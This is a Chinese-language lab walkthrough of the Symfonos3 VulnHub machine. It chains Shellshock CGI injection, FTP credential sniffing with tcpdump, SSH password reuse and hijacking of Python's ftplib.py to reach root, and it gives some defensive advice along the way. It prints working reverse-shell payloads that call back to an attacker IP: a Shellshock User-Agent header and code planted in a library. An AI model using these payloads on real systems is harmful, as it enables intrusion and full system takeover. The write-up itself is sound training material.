ShellshockCGI注入与ftplib.py组权限提权:Symfonos3靶机实战

admin 2026-09-25 05:21:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了Symfonos3靶机的完整渗透测试过程,攻击链涵盖信息收集、Shellshock漏洞利用、pspy进程监控、tcpdump嗅探FTP明文凭据、SSH横向移动及Python标准库文件劫持提权。文章技术细节丰富,步骤清晰,展示了从Web层RCE到root权限提升的完整路径,并提供了相应的防御建议,对渗透测试人员具有较高的实战参考价值。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透


Shellshock CGI 注入与 ftplib.py 组权限提权:Symfonos3 靶机实战

Hash-Sec Hash-Sec

Hash-Sec

2026年9月21日 19:15 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

DAILY NOTE · 生活手帐

Symfonos3 靶机渗透记录

Symfonos3 是 VulnHub 平台上的中等难度 Linux 靶机,目标 IP 192.168.68.171。该靶机完整演示了一条从 Web 层远程代码执行到本地权限提升的攻击链:目录枚举发现 CGI 脚本 → Shellshock(CVE-2014-6271)环境变量注入获取初始 foothold → pspy 进程监控发现 root 定时任务 → tcpdump 嗅探回环流量获取 FTP 明文凭据 → SSH 横向移动 → 篡改 Python 标准库文件实现持久化提权。

生活 · 书影 · 食光

慢慢来,比较快

01

  1. 主机发现与端口扫描

通过 ARP 扫描确认目标主机存活,IP 地址为 192.168.68.171。

访问 80 端口,主页为静态 HTML 页面,未发现明显功能点。右键查看页面源代码,发现一行 HTML 注释:

bash

1

该注释语义为”你能否摧毁 underworld”,其中 underworld 一词高度可疑,极有可能是一个隐藏目录或路径线索,记入信息收集清单。

执行全端口 TCP SYN 扫描与服务指纹识别:

bash

1nmap -p- -A -T4 192.168.68.171

2

3PORT   STATE SERVICE VERSION

421/tcp open  ftp     ProFTPD 1.3.5b

522/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6

680/tcp open  http    Apache httpd 2.4.25 ((Debian))

开放端口对应服务:21/tcp 为 ProFTPD 1.3.5b,22/tcp 为 OpenSSH 7.4p1,80/tcp 为 Apache 2.4.25。FTP 与 SSH 暂未发现可直接利用的已知 CVE 或弱口令,攻击面优先从 80/tcp 的 Web 服务展开。

02

  1. 目录枚举与 CGI 攻击面定位

对 Web 根目录执行字典枚举:

bash

1dirb http://192.168.68.171/

dirb 扫描结果:

01

/cgi-bin/ — HTTP 403,目录存在但禁止直接列表

02

/gate/ — HTTP 200,可访问

03

/server-status — HTTP 403

/cgi-bin/ 目录返回 403 而非 404,说明目录存在。CGI(Common Gateway Interface)是 Shellshock 漏洞的经典攻击面——CGI 脚本通过环境变量与 Web 服务器通信,且通常由 Bash 解释器执行,完美满足 Shellshock 的三个利用条件。

使用 gobuster 对 /cgi-bin 路径做深度递归扫描:

bash

1gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u http://192.168.68.171/cgi-bin

扫描发现 /cgi-bin/underworld,HTTP 状态码 200——与页面源代码注释中的 “underworld” 完全吻合。

直接访问该 URL,响应体为 uptime 命令的标准输出:

bash

103:40:24 up 1:05, 0 users, load average: 0.00, 0.02, 0.00

这表明该 CGI 脚本在服务端执行了系统命令并将 stdout 直接返回给客户端。这种”用户可控输入 → Bash 解释器 → 命令执行结果回显”的架构,就是 Shellshock 漏洞的理想攻击场景。

03

  1. Shellshock(CVE-2014-6271)漏洞原理与利用

漏洞原理

Shellshock 是 GNU Bash 4.3 及之前版本中的一个环境变量注入漏洞。Bash 在解析环境变量中的函数定义时,会将形如 () { … } 的变量识别为函数定义。但问题在于:Bash 在执行完函数体后,会继续执行函数定义花号之后的任意命令,且这一行为没有任何授权校验。

正常的环境变量函数定义:

bash

1foo=() { echo “hello”; }

攻击者构造的恶意环境变量:

bash

1foo=() { :; }; /bin/bash -c ‘id’

Bash 解析时,{ :; } 是一个空函数体(冒号是空操作符),函数定义结束后紧跟的 ; /bin/bash -c ‘id’ 会被当作额外的命令直接执行。

为什么 CGI 是理想攻击面

Apache 在执行 CGI 脚本时,会将 HTTP 请求头中的字段自动映射为环境变量(如 User-Agent → HTTP_USER_AGENT,Cookie → HTTP_COOKIE)。这些环境变量由攻击者完全可控,且 CGI 脚本通常通过 Bash 解释器执行——三个条件全部满足:

1. 环境变量自动传递:Apache 自动将 HTTP 请求头注入 CGI 进程的环境变量 2. 攻击者可控:任意 HTTP 头字段值均可由攻击者构造 3. Bash 解释器启动:CGI shebang 通常为 #!/bin/bash 或 #!/bin/sh(指向 Bash)

利用过程

将恶意 payload 注入 HTTP 请求头(此处以 User-Agent 为例),触发反弹 shell:

bash

1() { :; }; echo; echo; /bin/bash -c ‘nc 192.168.68.156 4444 -e /bin/bash’

Kali 监听端口收到来自目标的反弹连接,获得 www-data 权限的交互式 shell。

防御面:Shellshock 虽为 2014 年披露的漏洞,但在嵌入式设备、老旧发行版和未及时打补丁的服务器中仍广泛存在。修复方式为升级 Bash 至 4.3 及以上版本,或对 CGI 进程的环境变量做严格白名单过滤。

04

  1. 本地权限侦察:pspy 进程监控

获得 www-data 低权限 shell 后,提权侦察的第一步是枚举目标系统上运行的所有进程及其执行用户。传统 ps aux 命令在无 root 权限时无法看到完整进程信息,pspy 工具通过读取 /proc 文件系统,无需 root 权限即可监控所有进程的启动事件、执行命令行和所属 UID。

将 pspy64 二进制上传至 /tmp 目录并执行:

bash

1wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

2chmod +x pspy64

3./pspy64

运行数分钟后,捕获到一条高价值进程记录:

bash

12026/09/21 05:26:01 CMD: UID=0    PID=9112   | /bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py

UID=0 表示该进程以 root 权限运行,执行的是 /opt/ftpclient/ftpclient.py——一个 Python 2.7 编写的 FTP 客户端脚本。结合后续分析,该脚本通过系统 cron 定时任务周期性执行,以 FTP 协议连接远程服务器并执行文件同步操作。

05

  1. 回环流量嗅探:tcpdump 捕获 FTP 明文凭据

FTP 协议的控制通道默认使用 TCP 21 端口,且用户名(USER)和密码(PASS)以明文形式传输。既然 root 进程周期性地以 FTP 客户端身份连接服务器,那么在本地回环接口(lo)上抓包就能直接获取明文凭据。

在目标主机上执行 tcpdump 嗅探回环流量:

bash

1tcpdump -i lo

等待下一次 cron 触发,捕获到以下 FTP 控制会话:

bash

105:44:01.763790 IP localhost.43132 > localhost.ftp: FTP: USER hades

205:44:01.764203 IP localhost.ftp > localhost.43132: FTP: 331 Password required for hades

305:44:01.764284 IP localhost.43132 > localhost.ftp: FTP: PASS PTpZTfU4vxgzvRBE

提取到 FTP 认证凭据:用户名 hades,密码 PTpZTfU4vxgzvRBE。

基于运维人员常见的密码复用习惯,该凭据极有可能同时用于 SSH 登录:

bash

1ssh [email protected]

SSH 认证成功,获得 hades 用户的交互式登录 shell。

提权侦察方法论:获取低权限 shell 后,盲目枚举 SUID 二进制或内核漏洞效率极低。正确路径是:先跑 ss -tuln 看本地监听端口 → 跑 pspy 看定时任务和后台进程 → 跑 sudo -l 看 sudo 权限 → 从配置文件和定时任务中提取硬编码凭据。信息收集永远是提权的第一优先级。

06

  1. Python 标准库文件篡改提权

SSH 登录后,首先确认当前用户的组归属和目标文件权限:

bash

1ls -al /usr/lib/python2.7/ftplib.py

2-rwxrw-r– 1 root gods 37755 Sep 26  2018 ftplib.py

3

4id

5uid=1000(hades) gid=1000(hades) groups=1000(hades),1002(gods)

文件权限分析:

01

文件所有者:root(读/写/执行)

02

所属组:gods(读/写)

03

其他用户:只读

hades 用户属于 gods 组,而 ftplib.py 对 gods 组开放了写权限——攻击者可直接修改该文件内容。

ftplib.py 是 Python 2.7 标准库中的 FTP 客户端模块。root 定时任务执行的 ftpclient.py 必然通过 import ftplib 或 from ftplib import … 引入该模块。Python 的导入机制会在模块首次加载时从头执行整个文件内容,因此只要在 ftplib.py 文件头部插入恶意代码,当 root 进程下次触发 cron 任务时,恶意代码就会以 root 权限执行。

在 ftplib.py 文件头部插入反弹 shell 代码:

python

1import os

2os.system(“nc -e /bin/bash 192.168.68.156 1111”)

保存退出后,Kali 端开启监听,等待下一次 cron 周期触发。反弹 shell 连接建立后,确认 UID:

bash

1uid=0(root) gid=0(root) groups=0(root)

成功获取 root 权限。

防御面:系统级 Python 标准库文件(如 /usr/lib/python2.7/ 下的模块)应严格设置权限为 root:root 644,任何普通用户或组不应拥有写权限。此外,cron 定时任务执行的脚本中硬编码明文密码,本质上是将敏感凭据暴露在文件系统中,应改用环境变量或加密凭据管理方案。

07

  1. 完整攻击链路

| 攻击阶段 | 技术手段 | 关键输出 | | — | — | — | | 信息收集 | ARP 扫描 + nmap 全端口 + dirb/gobuster 目录枚举 | 发现 /cgi-bin/underworld CGI 脚本 | | 初始 foothold | Shellshock(CVE-2014-6271)环境变量注入 | 获取 www-data 权限反弹 shell | | 提权侦察 | pspy 进程监控 + tcpdump 回环嗅探 | 发现 root cron 任务,捕获 hades FTP/SSH 凭据 | | 横向移动 | SSH 密码复用登录 | 获得 hades 用户交互式 shell | | 权限提升 | ftplib.py 组权限可写,篡改 Python 标准库 | 等待 root cron 触发,获取 root 反弹 shell |

该靶机的核心设计思路:初始 foothold 依赖经典 Web 漏洞(Shellshock),而提权路径完全依赖系统监控与信息收集——不依赖内核漏洞、不依赖 sudo 配置错误、不依赖 SUID 二进制滥用。攻击者需要主动发现 root 定时任务、嗅探明文协议流量、识别可写的共享库文件,每一步都是对攻击者侦察能力的考验。

08

关联知识点

01

Shellshock(CVE-2014-6271):GNU Bash 环境变量注入漏洞。Bash 在解析以函数定义形式(() { … })存储的环境变量时,会执行函数定义结束后附加的任意命令。CGI 脚本因自动将 HTTP 请求头映射为环境变量,成为该漏洞的主要攻击面。

02

pspy:用户态进程监控工具,通过读取 /proc/[pid]/cmdline 和 /proc/[pid]/status 实现无 root 权限的进程枚举,可捕获 cron 任务、后台守护进程和定时脚本的执行痕迹。

03

FTP 明文嗅探:FTP 协议控制通道(TCP 21)以明文传输 AUTH 命令(USER/PASS),在同一广播域或回环接口上可直接通过 tcpdump 提取凭据。

04

Python 库文件劫持提权:当高权限进程 import 的 Python 模块文件对低权限用户可写时,可在模块顶部插入任意代码,高权限进程加载该模块时即触发代码执行。属于”库文件劫持”(Library Hijacking)提权技术的一种。

写在最后

看到这儿,说明你把它读完了。这类文章能走多远,只取决于两件事:你的在看和转发。

顺手关注并设为星标,下一篇更新第一时间见。

PEACH END


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:Hash-Sec Hash-Sec Hash-Sec《Shellshock CGI 注入与 ftplib.py 组权限提权:Symfonos3 靶机实战》

评论:0   参与:  0